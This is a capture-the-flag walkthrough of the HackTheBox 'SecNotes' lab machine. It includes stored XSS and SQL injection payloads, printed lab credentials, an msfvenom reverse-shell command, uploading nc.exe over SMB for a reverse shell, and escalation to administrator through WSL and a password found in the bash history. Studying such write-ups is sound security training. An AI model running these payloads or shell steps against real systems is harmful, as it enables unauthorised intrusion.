Hackthebox - SecNotes

  • Windows

Secnotes

Nmap

Port 80

  • There is a website in which we can register image

  • There is also a message disclosing an email address image

  • So we keep it aside tyler@secnotes.htb we can also edit our /etc/hosts file and add 10.10.10.97 secnotes.htb in it

  • No sqli in the login

  • Let's try on the register if we register a user with username <script>alert(1)</script> when we login with it after we have a stored xss: image

  • So we need to investigate the username parameter and see if it might be vulnerable to sqli

  • Let's try with this ' or 1=1; -- we get an internal server error when trying to login with this after but if we register with 'OR 1 OR' it actually works and we get all the tickets image

  • We even get a user and password: tyler / 92g!mA8BGjOirkL%OG*& along with what looks like an smb folder so definetely worth trying to connect there \\secnotes.htb\new-site

SMB

  • We get to a share that hosts the default files of the webserver on port 8808. We have write rights (you can see above that I was able to download a test file) so we could use and aspx reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=5555 -f aspx > shell.aspx

  • We put it on the share put shell.aspx

  • We launch on listener rlwrap nc -lvp 5555

  • We browse to our reverse shell from the website - does not work :$ - our file are deleted

  • Let's try to put /usr/share/windows-resources/binaries/nc.exe in it

  • We can then make a php file that will launch nc and connect it to our machine so that we get a reverse shell:

  • We can then browse to the page, and we get a shell image

  • We can then grab the user flag

Privilege Escalation

  • Now let's find wsl.exe

  • Let's see if we are root with wsl:

  • We are root

  • Let's launch the bash to get the shell image Let's spawn a tty shell

  • if we type history we have an instresting output

  • We have the password for the admin por smbclient

  • smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$ And it works! We can actually connect as administrator to an smb share we just need to grab the flag image

Last updated